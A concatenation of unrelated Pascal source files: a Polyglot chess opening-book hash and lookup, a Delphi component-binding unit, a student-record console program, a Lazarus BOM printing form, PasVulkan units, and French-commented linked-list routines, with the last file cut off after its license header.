U64($A2EBEE47E2FBFCE1), U64($D9F1F30CCD97FB09), U64($EFED53D75FD64E6B), U64($2E6D02C36017F67F),
U64($A9AA4D20DB084E9B), U64($B64BE8D8B25396C1), U64($70CB6AF7C2D5BCF0), U64($98F076A4F7A2322E),
U64($BF84470805E69B5F), U64($94C3251F06F90CF3), U64($3E003E616A6591E9), U64($B925A6CD0421AFF3),
U64($61BDD1307C66E300), U64($BF8D5108E27E0D48), U64($240AB57A8B888B20), U64($FC87614BAF287E07),
U64($EF02CDD06FFDB432), U64($A1082C0466DF6C0A), U64($8215E577001332C8), U64($D39BB9C3A48DB6CF),
U64($2738259634305C14), U64($61CF4F94C97DF93D), U64($1B6BACA2AE4E125B), U64($758F450C88572E0B),
U64($959F587D507A8359), U64($B063E962E045F54D), U64($60E8ED72C0DFF5D1), U64($7B64978555326F9F),
U64($FD080D236DA814BA), U64($8C90FD9B083F4558), U64($106F72FE81E2C590), U64($7976033A39F7D952),
U64($A4EC0132764CA04B), U64($733EA705FAE4FA77), U64($B4D8F77BC3E56167), U64($9E21F4F903B33FD9),
U64($9D765E419FB69F6D), U64($D30C088BA61EA5EF), U64($5D94337FBFAF7F5B), U64($1A4E4822EB4D7A59),
U64($6FFE73E81B637FB3), U64($DDF957BC36D8B9CA), U64($64D0E29EEA8838B3), U64($08DD9BDFD96B9F63),
U64($087E79E5A57D1D13), U64($E328E230E3E2B3FB), U64($1C2559E30F0946BE), U64($720BF5F26F4D2EAA),
U64($B0774D261CC609DB), U64($443F64EC5A371195), U64($4112CF68649A260E), U64($D813F2FAB7F5C5CA),
U64($660D3257380841EE), U64($59AC2C7873F910A3), U64($E846963877671A17), U64($93B633ABFA3469F8),
U64($C0C0F5A60EF4CDCF), U64($CAF21ECD4377B28C), U64($57277707199B8175), U64($506C11B9D90E8B1D),
U64($D83CC2687A19255F), U64($4A29C6465A314CD1), U64($ED2DF21216235097), U64($B5635C95FF7296E2),
U64($22AF003AB672E811), U64($52E762596BF68235), U64($9AEBA33AC6ECC6B0), U64($944F6DE09134DFB6),
U64($6C47BEC883A7DE39), U64($6AD047C430A12104), U64($A5B1CFDBA0AB4067), U64($7C45D833AFF07862),
U64($5092EF950A16DA0B), U64($9338E69C052B8E7B), U64($455A4B4CFE30E3F5), U64($6B02E63195AD0CF8),
U64($6B17B224BAD6BF27), U64($D1E0CCD25BB9C169), U64($DE0C89A556B9AE70), U64($50065E535A213CF6),
U64($9C1169FA2777B874), U64($78EDEFD694AF1EED), U64($6DC93D9526A50E68), U64($EE97F453F06791ED),
U64($32AB0EDB696703D3), U64($3A6853C7E70757A7), U64($31865CED6120F37D), U64($67FEF95D92607890),
U64($1F2B1D1F15F6DC9C), U64($B69E38A8965C6B65), U64($AA9119FF184CCCF4), U64($F43C732873F24C13),
U64($FB4A3D794A9A80D2), U64($3550C2321FD6109C), U64($371F77E76BB8417E), U64($6BFA9AAE5EC05779),
U64($CD04F3FF001A4778), U64($E3273522064480CA), U64($9F91508BFFCFC14A), U64($049A7F41061A9E60),
U64($FCB6BE43A9F2FE9B), U64($08DE8A1C7797DA9B), U64($8F9887E6078735A1), U64($B5B4071DBFC73A66),
U64($230E343DFBA08D33), U64($43ED7F5A0FAE657D), U64($3A88A0FBBCB05C63), U64($21874B8B4D2DBC4F),
U64($1BDEA12E35F6A8C9), U64($53C065C6C8E63528), U64($E34A1D250E7A8D6B), U64($D6B04D3B7651DD7E),
U64($5E90277E7CB39E2D), U64($2C046F22062DC67D), U64($B10BB459132D0A26), U64($3FA9DDFB67E2F199),
U64($0E09B88E1914F7AF), U64($10E8B35AF3EEAB37), U64($9EEDECA8E272B933), U64($D4C718BC4AE8AE5F),
U64($81536D601170FC20), U64($91B534F885818A06), U64($EC8177F83F900978), U64($190E714FADA5156E),
U64($B592BF39B0364963), U64($89C350C893AE7DC1), U64($AC042E70F8B383F2), U64($B49B52E587A1EE60),
U64($FB152FE3FF26DA89), U64($3E666E6F69AE2C15), U64($3B544EBE544C19F9), U64($E805A1E290CF2456),
U64($24B33C9D7ED25117), U64($E74733427B72F0C1), U64($0A804D18B7097475), U64($57E3306D881EDB4F),
U64($4AE7D6A36EB5DBCB), U64($2D8D5432157064C8), U64($D1E649DE1E7F268B), U64($8A328A1CEDFE552C),
U64($07A3AEC79624C7DA), U64($84547DDC3E203C94), U64($990A98FD5071D263), U64($1A4FF12616EEFC89),
U64($F6F7FD1431714200), U64($30C05B1BA332F41C), U64($8D2636B81555A786), U64($46C9FEB55D120902),
U64($CCEC0A73B49C9921), U64($4E9D2827355FC492), U64($19EBB029435DCB0F), U64($4659D2B743848A2C),
U64($963EF2C96B33BE31), U64($74F85198B05A2E7D), U64($5A0F544DD2B1FB18), U64($03727073C2E134B1),
U64($C7F6AA2DE59AEA61), U64($352787BAA0D7C22F), U64($9853EAB63B5E0B35), U64($ABBDCDD7ED5C0860),
U64($CF05DAF5AC8D77B0), U64($49CAD48CEBF4A71E), U64($7A4C10EC2158C4A6), U64($D9E92AA246BF719E),
U64($13AE978D09FE5557), U64($730499AF921549FF), U64($4E4B705B92903BA4), U64($FF577222C14F0A3A),
U64($55B6344CF97AAFAE), U64($B862225B055B6960), U64($CAC09AFBDDD2CDB4), U64($DAF8E9829FE96B5F),
U64($B5FDFC5D3132C498), U64($310CB380DB6F7503), U64($E87FBB46217A360E), U64($2102AE466EBB1148),
U64($F8549E1A3AA5E00D), U64($07A69AFDCC42261A), U64($C4C118BFE78FEAAE), U64($F9F4892ED96BD438),
U64($1AF3DBE25D8F45DA), U64($F5B4B0B0D2DEEEB4), U64($962ACEEFA82E1C84), U64($046E3ECAAF453CE9),
U64($F05D129681949A4C), U64($964781CE734B3C84), U64($9C2ED44081CE5FBD), U64($522E23F3925E319E),
U64($177E00F9FC32F791), U64($2BC60A63A6F3B3F2), U64($222BBFAE61725606), U64($486289DDCC3D6780),
U64($7DC7785B8EFDFC80), U64($8AF38731C02BA980), U64($1FAB64EA29A2DDF7), U64($E4D9429322CD065A),
U64($9DA058C67844F20C), U64($24C0E332B70019B0), U64($233003B5A6CFE6AD), U64($D586BD01C5C217F6),
U64($5E5637885F29BC2B), U64($7EBA726D8C94094B), U64($0A56A5F0BFE39272), U64($D79476A84EE20D06),
U64($9E4C1269BAA4BF37), U64($17EFEE45B0DEE640), U64($1D95B0A5FCF90BC6), U64($93CBE0B699C2585D),
U64($65FA4F227A2B6D79), U64($D5F9E858292504D5), U64($C2B5A03F71471A6F), U64($59300222B4561E00),
U64($CE2F8642CA0712DC), U64($7CA9723FBB2E8988), U64($2785338347F2BA08), U64($C61BB3A141E50E8C),
U64($150F361DAB9DEC26), U64($9F6A419D382595F4), U64($64A53DC924FE7AC9), U64($142DE49FFF7A7C3D),
U64($0C335248857FA9E7), U64($0A9C32D5EAE45305), U64($E6C42178C4BBB92E), U64($71F1CE2490D20B07),
U64($F1BCC3D275AFE51A), U64($E728E8C83C334074), U64($96FBF83A12884624), U64($81A1549FD6573DA5),
U64($5FA7867CAF35E149), U64($56986E2EF3ED091B), U64($917F1DD5F8886C61), U64($D20D8C88C8FFE65F),
U64($31D71DCE64B2C310), U64($F165B587DF898190), U64($A57E6339DD2CF3A0), U64($1EF6E6DBB1961EC9),
U64($70CC73D90BC26E24), U64($E21A6B35DF0C3AD7), U64($003A93D8B2806962), U64($1C99DED33CB890A1),
U64($CF3145DE0ADD4289), U64($D0E4427A5514FB72), U64($77C621CC9FB3A483), U64($67A34DAC4356550B),
U64($F8D626AAAF278509)
);
RandomPiece: ^UInt64 = @Random64[0];
RandomCastle: ^UInt64 = @Random64[768];
RandomEnPassant: ^UInt64 = @Random64[772];
RandomTurn: ^UInt64 = @Random64[780];
piece_names = 'pPnNbBrRqQkK';
function hash(const fen: string): UInt64;
var
board_s: string;
to_move_c: char;
castle_flags_s: string;
ep_square_s: string;
board: array[0..7, 0..7] of char;
c: char;
p, r, f, i, p_enc: integer;
begin
result := 0;
with TStringList.Create do
try
DelimitedText := fen;
board_s := Strings[0];
to_move_c := Strings[1][1];
castle_flags_s := Strings[2];
ep_square_s := Strings[3];
finally
Free;
end;
r := 7;
f := 0;
p := 1;
while p <= Length(board_s) do
begin
c := board_s[p];
Inc(p);
if c = '/' then
begin
Dec(r);
f := 0;
Continue;
end;
if (c >= '1') and (c <= '8') then
begin
for i := 0 to Ord(c) - Ord('1') do
begin
board[f][r] := '-';
Inc(f);
end;
Continue;
end;
board[f][r] := c;
Inc(f);
end;
for f := 0 to 7 do
for r := 0 to 7 do
begin
c := board[f][r];
if c <> '-' then
begin
p_enc := Pred(Pos(c, piece_names));
result := result xor RandomPiece[64 * p_enc + 8 * r + f];
end;
end;
p := 1;
while p <= Length(castle_flags_s) do
begin
c := castle_flags_s[p];
Inc(p);
case c of
'K': result := result xor RandomCastle[0];
'Q': result := result xor RandomCastle[1];
'k': result := result xor RandomCastle[2];
'q': result := result xor RandomCastle[3];
end;
end;
if ep_square_s[1] <> '-' then
begin
f := Ord(ep_square_s[1]) - Ord('a');
if to_move_c = 'b' then
begin
if ((f > 0) and (board[f - 1][3] = 'p'))
or ((f < 7) and (board[f + 1][3] = 'p')) then
result := result xor RandomEnPassant[f];
end else
begin
if ((f > 0) and (board[f - 1][4] = 'P'))
or ((f < 7) and (board[f + 1][4] = 'P')) then
result := result xor RandomEnPassant[f];
end;
end;
if to_move_c = 'w' then
result := result xor RandomTurn[0];
end;
////////////////////////////////////////////////////////////////////////
type
entry_t = record
key: UInt64;
move: UInt16;
weight: UInt16;
learn: UInt32;
end;
const
entry_none: entry_t = (
key: 0;
move: 0;
weight: 0;
learn: 0
);
promote_pieces = 'nbrq';
MAX_MOVES = 100;
function int_from_file(const f: THandle; const l: integer; var r: UInt64): boolean;
var
i: integer;
c: byte;
begin
for i := 0 to Pred(l) do
begin
if FileRead(f, c, SizeOf(c)) <> SizeOf(c) then
Exit(FALSE);
r := (r shl 8) + c;
end;
result := TRUE;
end;
function entry_from_file(const f: THandle; var entry: entry_t): boolean;
var
r: UInt64 = 0;
begin
if not int_from_file(f, 8, r) then Exit(FALSE);
entry.key := r;
if not int_from_file(f, 2, r) then Exit(FALSE);
entry.move := UInt16(r);
if not int_from_file(f, 2, r) then Exit(FALSE);
entry.weight := UInt16(r);
if not int_from_file(f, 4, r) then Exit(FALSE);
entry.learn := UInt32(r);
result := TRUE;
end;
function find_key(const f: THandle; const key: UInt64; var entry: entry_t): integer;
var
first, last, middle: integer;
first_entry, last_entry, middle_entry: entry_t;
begin
first_entry := entry_none;
first := -1;
if FileSeek(f, -16, fsFromEnd) = -1 then
begin
entry := entry_none;
entry.key := key + 1; // hack
Exit(-1);
end;
last := FileSeek(f, 0, fsFromCurrent) div 16;
entry_from_file(f, last_entry);
while TRUE do
begin
if last - first = 1 then
begin
entry := last_entry;
Exit(last);
end;
middle := (first + last) div 2;
FileSeek(f, 16 * middle, fsFromBeginning);
entry_from_file(f, middle_entry);
if key <= middle_entry.key then
begin
last := middle;
last_entry := middle_entry;
end else
begin
first := middle;
first_entry := middle_entry;
end;
end;
end;
procedure move_to_string(var move_s: string; const move: UInt16);
var
f, fr, ff, t, tr, tf, p: integer;
begin
f := (move shr 6) and 63;
fr := (f shr 3) and 7;
ff := f and 7;
t := move and 63;
tr := (t shr 3) and 7;
tf := t and 7;
p := (move shr 12) and 7;
SetLength(move_s, 4);
move_s[1] := Chr(ff + Ord('a'));
move_s[2] := Chr(fr + Ord('1'));
move_s[3] := Chr(tf + Ord('a'));
move_s[4] := Chr(tr + Ord('1'));
if p <> 0 then
begin
SetLength(move_s, 5);
move_s[5] := promote_pieces[p];
end;
if move_s = 'e1h1' then
move_s := 'e1g1'
else if move_s = 'e1a1' then
move_s := 'e1c1'
else if move_s = 'e8h8' then
move_s := 'e8g8'
else if move_s = 'e8a8' then
move_s := 'e8c8';
end;
////////////////////////////////////////////////////////////////////////
function PolyglotKey(const APosition: string): UInt64;
begin
result := hash(APosition);
end;
function BestMove(const AKey: UInt64; const ABookName: TFileName): string;
var
f: THandle;
entry: entry_t;
offset: longint;
entries: array[0..MAX_MOVES - 1] of entry_t;
count: longint = 0;
i: longint;
move_s: string;
total_weight: longint;
begin
f := FileOpen(ABookName, fmOpenRead);
if f = THandle(-1) then
begin
//WriteLn('Cannot open file ', file_name);
Exit('');
end;
offset := find_key(f, AKey, entry);
if entry.key <> AKey then
begin
//WriteLn('No such key');
Exit('');
end;
entries[0] := entry;
count := 1;
FileSeek(f, 16 * (offset + 1), fsFromBeginning);
while TRUE do
begin
if not entry_from_file(f, entry) then
Break;
if entry.key <> AKey then
Break;
if count = MAX_MOVES then
begin
//WriteLn('Too many moves');
Exit('');
end;
entries[count] := entry;
Inc(count);
end;
FileClose(f);
(*
total_weight := 0;
for i := 0 to Pred(count) do
Inc(total_weight, entries[i].weight);
for i := 0 to Pred(count) do
begin
move_to_string(move_s, entries[i].move);
WriteLn(Format('move=%s weight=%5.2f%%', [move_s, 100 * (entries[i].weight / total_weight)]));
end;
*)
move_to_string(move_s, entries[0].move);
result := move_s;
end;
function BestMove(const APosition: string; const ABookName: TFileName): string;
var
LKey: UInt64;
begin
LKey := PolyglotKey(APosition);
result := BestMove(LKey, ABookName);
end;
end.
|
unit Auxo.Binding.Core;
interface
uses
Auxo.Access.Component, System.Classes, Auxo.Access.Core, System.Generics.Collections;
type
IComponentBinding = interface
procedure ToControls;
procedure ToSource;
function Bind(Name: string; Comp: TComponent): IComponentBinding;
procedure SetComponent(Name: string; const Value: TComponent);
procedure SetName(Comp: TComponent; const Value: string);
procedure SetSource(const Value: IRecord);
property Items[Name: string; Comp: TComponent]: IComponentBinding read Bind; default;
property Items[Name: string]: TComponent write SetComponent; default;
property Items[Comp: TComponent]: string write SetName; default;
end;
TComponentBinding = class(TObject, IComponentBinding)
private
FSource: IRecord;
FBindings: TDictionary<TComponent, string>;
function QueryInterface(const IID: TGUID; out Obj): HRESULT; stdcall;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
procedure SetComponent(Name: string; const Value: TComponent);
procedure SetName(Comp: TComponent; const Value: string);
procedure SetSource(const Value: IRecord);
public
function Bind(Name: string; Comp: TComponent): IComponentBinding;
procedure AfterConstruction; override;
procedure BeforeDestruction; override;
property Items[Name: string; Comp: TComponent]: IComponentBinding read Bind; default;
property Items[Name: string]: TComponent write SetComponent; default;
property Items[Comp: TComponent]: string write SetName; default;
property Source: IRecord read FSource write SetSource;
procedure ToControls;
procedure ToSource;
end;
implementation
{ TComponentBinding }
procedure TComponentBinding.AfterConstruction;
begin
inherited;
FBindings := TDictionary<TComponent, string>.Create;
end;
procedure TComponentBinding.BeforeDestruction;
begin
inherited;
FBindings.Free;
end;
function TComponentBinding.Bind(Name: string; Comp: TComponent): IComponentBinding;
begin
Result := Self;
FBindings.Add(Comp, Name);
end;
procedure TComponentBinding.ToControls;
var
bnd: TPair<TComponent, string>;
begin
for bnd in FBindings do
TAccess.SetValue(bnd.Key, FSource[bnd.Value]);
end;
procedure TComponentBinding.ToSource;
var
bnd: TPair<TComponent, string>;
begin
for bnd in FBindings do
FSource[bnd.Value] := TAccess.GetValue(bnd.Key);
end;
function TComponentBinding.QueryInterface(const IID: TGUID; out Obj): HRESULT;
begin
if GetInterface(IID, Obj) then
Result := S_OK
else
Result := E_NOINTERFACE
end;
procedure TComponentBinding.SetComponent(Name: string; const Value: TComponent);
begin
if FBindings.ContainsKey(Value) then
FBindings[Value] := Name
else
FBindings.Add(Value, Name);
end;
procedure TComponentBinding.SetName(Comp: TComponent; const Value: string);
begin
if FBindings.ContainsKey(Comp) then
FBindings[Comp] := Value
else
FBindings.Add(Comp, Value);
end;
procedure TComponentBinding.SetSource(const Value: IRecord);
begin
FSource := Value;
end;
function TComponentBinding._AddRef: Integer;
begin
Result := -1;
end;
function TComponentBinding._Release: Integer;
begin
Result := -1;
end;
end.
|
{
Online Pascal Compiler.
Code, Compile, Run and Debug Pascal program online.
Write your code in this editor and press "Run" button to execute it.
}
program StudentRecord;
uses crt;
type
name_and_gender = string;
age = integer;
var
name_student1, name_student2, name_student3: name_and_gender;
age_student1, age_student2, age_student3: age;
gender_student1, gender_student2, gender_student3: name_and_gender;
(*A program that stores student details in a record*)
begin
writeln('Program stores students record');
writeln ('Enter student 1 Record');
writeln('Student Name');
readln(name_student1);
writeln('Student Age');
readln(age_student1);
writeln('Student Gender');
readln(gender_student1);
writeln('Enter student 2 Record');
writeln('Student Name');
readln(name_student2);
writeln('Student Age');
readln(age_student2);
writeln('Student Gender');
readln(gender_student2);
writeln('Enter student 3 Record');
writeln('Student Name');
readln(name_student3);
writeln('Student Age');
readln(age_student3);
writeln('Student Gender');
readln(gender_student3);
(*Output result*)
writeln('Student 1 Record');
writeln('Name:', name_student1, ' Age:', age_student1, ' Gender:', gender_student1);
writeln('Student 2 Record');
writeln('Name:', name_student2, ' Age:', age_student2, ' Gender:', gender_student2);
writeln('Student 3 Record');
writeln('Name:', name_student3, ' Age:', age_student3, ' Gender:', gender_student3);
end.
|
unit main;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, Menus,
ComCtrls, Printers, StdCtrls, ExtCtrls, ValEdit, POSPrinter, BOMParser,
XMLHelper, frmPrinterSetup;
type
{ TTreeData }
PTreeData = ^TTreeData;
TTreeData = class
private
FID: Integer;
published
property ID: Integer read FID write FID;
end;
{ TMainForm }
TMainForm = class(TForm)
cmbCategory: TComboBox;
grpProjectInfo: TGroupBox;
grpComponentTree: TGroupBox;
grpComponentDetail: TGroupBox;
Label1: TLabel;
Label2: TLabel;
dlgOpen: TOpenDialog;
MenuItem3: TMenuItem;
MenuItem4: TMenuItem;
mnuSaveXML: TMenuItem;
mnuPrintTestPage: TMenuItem;
mnuPrint: TMenuItem;
pnlRight: TPanel;
dlgSave: TSaveDialog;
txtQuantity: TLabeledEdit;
txtValue: TLabeledEdit;
txtName: TLabeledEdit;
lstRefDes: TListBox;
MenuItem2: TMenuItem;
mnuSetupPrinter: TMenuItem;
mnuExit: TMenuItem;
mnuLoadBOM: TMenuItem;
mnuMain: TMainMenu;
MenuItem1: TMenuItem;
Splitter1: TSplitter;
statusBar: TStatusBar;
treeComponents: TTreeView;
vlsProjectInfo: TValueListEditor;
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure mnuExitClick(Sender: TObject);
procedure mnuLoadBOMClick(Sender: TObject);
procedure mnuPrintClick(Sender: TObject);
procedure mnuPrintTestPageClick(Sender: TObject);
procedure mnuSaveXMLClick(Sender: TObject);
procedure mnuSetupPrinterClick(Sender: TObject);
procedure treeComponentsSelectionChanged(Sender: TObject);
private
procedure PopulateComponentTree;
procedure ShowDetail(id: Integer);
public
procedure SetPrinter(pname: String; pwidth: Integer; maxline: Integer);
end;
var
MainForm: TMainForm;
implementation
var
BOM: TBOMParser;
XML: TXMLHelper;
{$R *.lfm}
{ TMainForm }
procedure TMainForm.SetPrinter(pname: String; pwidth: Integer; maxline: Integer);
begin
SetupPrinter(pname, pwidth, maxline);
statusBar.Panels.Items[0].Text := pname + ' set as the default printer';
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
SetupPrinter('POS58', 58, 32);
end;
procedure TMainForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
if Assigned(BOM) then
BOM.Destroy;
end;
procedure TMainForm.mnuExitClick(Sender: TObject);
begin
Close;
end;
procedure TMainForm.mnuLoadBOMClick(Sender: TObject);
begin
if dlgOpen.Execute then
begin
BOM := TBOMParser.Create(dlgOpen.FileName);
BOM.ParseFile;
XML := TXMLHelper.Create(BOM);
PopulateComponentTree;
end;
end;
procedure TMainForm.mnuPrintClick(Sender: TObject);
var
i, j: Integer;
str: String;
begin
try
BeginPrint(vlsProjectInfo.Values['Name']);
PrinterJustify(JUSTIFY_CENTER);
PrinterBold(true);
PrintLine(vlsProjectInfo.Values['Name']);
PrinterFeed(1);
PrinterBold(false);
PrintLine('Project Information');
PrinterJustify(JUSTIFY_LEFT);
for i := 2 to vlsProjectInfo.Strings.Count do
begin
PrintLine(vlsProjectInfo.Keys[i] + ': ', vlsProjectInfo.Values[vlsProjectInfo.Keys[i]]);
end;
PrinterFeed(1);
PrinterJustify(JUSTIFY_CENTER);
PrintLine('Component List');
PrinterJustify(JUSTIFY_LEFT);
for i := 0 to BOM.Categories.Count - 1 do
begin
PrintLine(BOM.Categories.Strings[i] + ':');
for j := 0 to Length(BOM.Components) - 1 do
begin
if BOM.Components[j].Category = BOM.Categories.Strings[i] then
begin
str := IntToStr(BOM.Components[j].Quantity * StrToInt(vlsProjectInfo.Values['Quantity'])) + 'x ';
if BOM.Components[j].Value <> '' then
str := str + BOM.Components[j].Value + ' (' + BOM.Components[j].Name + ')'
else
str := str + BOM.Components[j].Name;
PrintLine(str, '[_]');
PrinterJustify(JUSTIFY_RIGHT);
PrintLine(BOM.Components[j].RefDes);
PrinterJustify(JUSTIFY_LEFT);
end;
end;
PrinterFeed(1);
end;
PrinterJustify(JUSTIFY_CENTER);
PrintBarcode(vlsProjectInfo.Values['Lot'], BARCODE_CODE39, true);
PrinterCut(CUT_PREPARE);
finally
EndPrint;
end;
end;
procedure TMainForm.mnuPrintTestPageClick(Sender: TObject);
begin
try
BeginPrint('Test Page');
PrintTestPage(true);
PrinterCut(CUT_PREPARE);
finally
EndPrint;
end;
end;
procedure TMainForm.mnuSaveXMLClick(Sender: TObject);
begin
if dlgSave.Execute then
begin
XML.PopulateProjectInfo(vlsProjectInfo.Strings);
XML.PopulateCategories;
XML.PopulateComponents;
XML.Write(dlgSave.FileName);
statusBar.Panels.Items[0].Text := 'BOM exported to "' + dlgSave.FileName + '"';
end;
end;
procedure TMainForm.mnuSetupPrinterClick(Sender: TObject);
begin
PrinterSetup.ShowModal;
end;
procedure TMainForm.treeComponentsSelectionChanged(Sender: TObject);
begin
grpComponentDetail.Enabled := true;
if not treeComponents.Selected.HasChildren then
begin
ShowDetail(TTreeData(treeComponents.Selected.Data).ID);
end;
end;
{ Populates the component TreeView. }
procedure TMainForm.PopulateComponentTree;
var
i, j: Integer;
node: TTreeNode;
data: TTreeData;
begin
treeComponents.Items.Clear;
cmbCategory.Items.Clear;
for i := 0 to BOM.Categories.Count - 1 do
begin
cmbCategory.Items.Add(BOM.Categories.Strings[i]);
node := treeComponents.Items.Add(nil, BOM.Categories.Strings[i]);
for j := 0 to Length(BOM.Components) - 1 do
begin
if BOM.Components[j].Category = BOM.Categories.Strings[i] then
begin
data := TTreeData.Create;
data.ID := j;
treeComponents.Items.AddChildObject(node, BOM.Components[j].RefDes, data);
end;
end;
node.Expand(true);
end;
statusBar.Panels.Items[0].Text := 'BOM file loaded';
end;
{ Populate the detail view. }
procedure TMainForm.ShowDetail(id: Integer);
var
component: TComponent;
refs: TStringList;
i: Integer;
begin
component := BOM.Components[id];
refs := TStringList.Create;
txtQuantity.Text := IntToStr(component.Quantity);
txtValue.Text := component.Value;
txtName.Text := component.Name;
for i := 0 to cmbCategory.Items.Count - 1 do
begin
if cmbCategory.Items[i] = component.Category then
cmbCategory.ItemIndex := i;
end;
refs.Clear;
refs.Delimiter := ',';
refs.StrictDelimiter := false;
refs.DelimitedText := component.RefDes;
lstRefDes.Items.Clear;
for i := 0 to refs.Count - 1 do
begin
lstRefDes.Items.Add(refs.Strings[i]);
end;
end;
end.
|
(******************************************************************************
* PasVulkan *
******************************************************************************
* Version see PasVulkan.Framework.pas *
******************************************************************************
* zlib license *
*============================================================================*
* *
* Copyright (C) 2016-2020, Benjamin Rosseaux (benjamin@rosseaux.de) *
* *
* This software is provided 'as-is', without any express or implied *
* warranty. In no event will the authors be held liable for any damages *
* arising from the use of this software. *
* *
* Permission is granted to anyone to use this software for any purpose, *
* including commercial applications, and to alter it and redistribute it *
* freely, subject to the following restrictions: *
* *
* 1. The origin of this software must not be misrepresented; you must not *
* claim that you wrote the original software. If you use this software *
* in a product, an acknowledgement in the product documentation would be *
* appreciated but is not required. *
* 2. Altered source versions must be plainly marked as such, and must not be *
* misrepresented as being the original software. *
* 3. This notice may not be removed or altered from any source distribution. *
* *
******************************************************************************
* General guidelines for code contributors *
*============================================================================*
* *
* 1. Make sure you are legally allowed to make a contribution under the zlib *
* license. *
* 2. The zlib license header goes at the top of each source file, with *
* appropriate copyright notice. *
* 3. This PasVulkan wrapper may be used only with the PasVulkan-own Vulkan *
* Pascal header. *
* 4. After a pull request, check the status of your pull request on *
http://github.com/BeRo1985/pasvulkan *
* 5. Write code which's compatible with Delphi >= 2009 and FreePascal >= *
* 3.1.1 *
* 6. Don't use Delphi-only, FreePascal-only or Lazarus-only libraries/units, *
* but if needed, make it out-ifdef-able. *
* 7. No use of third-party libraries/units as possible, but if needed, make *
* it out-ifdef-able. *
* 8. Try to use const when possible. *
* 9. Make sure to comment out writeln, used while debugging. *
* 10. Make sure the code compiles on 32-bit and 64-bit platforms (x86-32, *
* x86-64, ARM, ARM64, etc.). *
* 11. Make sure the code runs on all platforms with Vulkan support *
* *
******************************************************************************)
unit PasVulkan.Components.RecordBased.Parent;
{$i PasVulkan.inc}
{$ifndef fpc}
{$ifdef conditionalexpressions}
{$if CompilerVersion>=24.0}
{$legacyifend on}
{$ifend}
{$endif}
{$endif}
{$m+}
interface
uses SysUtils,
Classes,
Math,
PasVulkan.Types,
PasVulkan.EntityComponentSystem.RecordBased;
type PpvComponentParent=^TpvComponentParent;
TpvComponentParent=record
public
Parent:TpvEntityComponentSystem.TEntityID;
end;
const pvComponentParentDefault:TpvComponentParent=
(
Parent:$ffffffff;
);
var pvComponentParent:TpvEntityComponentSystem.TRegisteredComponentType=nil;
pvComponentParentID:TpvEntityComponentSystem.TComponentID=0;
implementation
procedure Register;
begin
pvComponentParent:=TpvEntityComponentSystem.TRegisteredComponentType.Create('parent',
'Parent',
['Base','Parent'],
SizeOf(TpvComponentParent),
@pvComponentParentDefault);
pvComponentParentID:=pvComponentParent.ID;
pvComponentParent.Add('parent',
'Parent',
TpvEntityComponentSystem.TRegisteredComponentType.TField.TElementType.EntityID,
SizeOf(PpvComponentParent(nil)^.Parent),
1,
TpvPtrUInt(@PpvComponentParent(nil)^.Parent),
SizeOf(PpvComponentParent(nil)^.Parent),
[]
);
end;
initialization
Register;
end.
|
(*
* Ce fichier contient les fonctions necessaire au fonctionnement de la liste chainee.
*)
(*
* Insert un nouvel element dans la liste chainee.Pour creer un nouvel element comme enfant du dernier element. L'enfant de ce nouvel element est lui meme definit comme
* null et l'element de fin est desormais l'element qui vient d'etre creer.
*)
Function insertNode : Nptr;
begin
new(endNode^.child);
endNode := endNode^.child;
endNode^.child := nil;
insertNode := endNode;
end;
(*
* Supprimer recursivment les elements de la liste chainee. La recursion s'arrete lorsque l'on le pointeur null a ete trouve. C'est a partir de ce moment que les
* suppressions commencent.
*
* Param Nptr : pointeur de l'element a partir duquel on veut effectuer la suppression
*)
procedure freeList(currentNode : Nptr);
begin
if (currentNode <> nil) then
begin
freeList(currentNode^.child);
dispose(currentNode);
end;
end;
(*
* Developpee a des fins de debogage.
* Imprime recursivement les element de la liste. La recursion s'arrete lorsque l'on le pointeur null a ete trouve.
*
* Param Nptr : poiteur de l'element a partir duquel on veut imprimer la liste
*)
procedure printList(currentNode : Nptr);
var
i : integer;
begin
if (currentNode <> nil) then
begin
writeln();
write('[');
for i := 0 to 3 do
begin
if (i <> 3) then
begin
write(currentNode^.data[i], ', ');
end
else
begin
writeln(currentNode^.data[i], ']');
end;
end;
printList(currentNode^.child);
end;
end;
(*
* Developpee a des fins de debogage.
* Imprime un seul et unique element de la liste chainee.
*
* Param Nptr : pointeur de l'element dont l'ont veut imprime le tableau
*)
procedure printNode(node : Nptr);
var
i : integer;
begin
write('[');
for i := 0 to 3 do
begin
if (i <> 3) then
begin
write(node^.data[i], ', ');
end
else
begin
write(node^.data[i], ']');
end;
end;
end; |
(******************************************************************************
* PasVulkan *
******************************************************************************
* Version see PasVulkan.Framework.pas *
******************************************************************************
* zlib license *
*============================================================================*
* *
* Copyright (C) 2016-2020, Benjamin Rosseaux (benjamin@rosseaux.de) *
* *
* This software is provided 'as-is', without any express or implied *
* warranty. In no event will the authors be held liable for any damages *
* arising from the use of this software. *
* *
* Permission is granted to anyone to use this software for any purpose, *
* including commercial applications, and to alter it and redistribute it *
* freely, subject to the following restrictions: *
* *
* 1. The origin of this software must not be misrepresented; you must not *
* claim that you wrote the original software. If you use this software *
* in a product, an acknowledgement in the product documentation would be *
* appreciated but is not required. *
* 2. Altered source versions must be plainly marked as such, and must not be *
* misrepresented as being the original software. *
* 3. This notice may not be removed or altered from any source distribution. *
* *
******************************************************************************
* General guidelines for code contributors *
*============================================================================*
* *
* 1. Make sure you are legally allowed to make a contribution under the zlib *
* license. *
* 2. The zlib license header goes at the top of each source file, with *
* appropriate copyright notice. *
* 3. This PasVulkan wrapper may be used only with the PasVulkan-own Vulkan *
* Pascal header. *
* 4. After a pull request, check the status of your pull request on *
http://github.com/BeRo1985/pasvulkan *
* 5. Write code which's compatible with Delphi >= 2009 and FreePascal >= *
* 3.1.1 *
* 6. Don't use Delphi-only, FreePascal-only or Lazarus-only libraries/units, *
* but if needed, make it out-ifdef-able. *
* 7. No use of third-party libraries/units as possible, but if needed, make *
* it out-ifdef-able. *
* 8. Try to use const when possible. *
* 9. Make sure to comment out writeln, used while debugging. *
* 10. Make sure the code compiles on 32-bit and 64-bit platforms (x86-32, *
* x86-64, ARM, ARM64, etc.). *
* 11. Make sure the code runs on all platforms with Vulkan support *
* *
******************************************************************************)
unit PasVulkan.Scene3D.Renderer.SkyBox;
{$i PasVulkan.inc}
{$ifndef fpc}
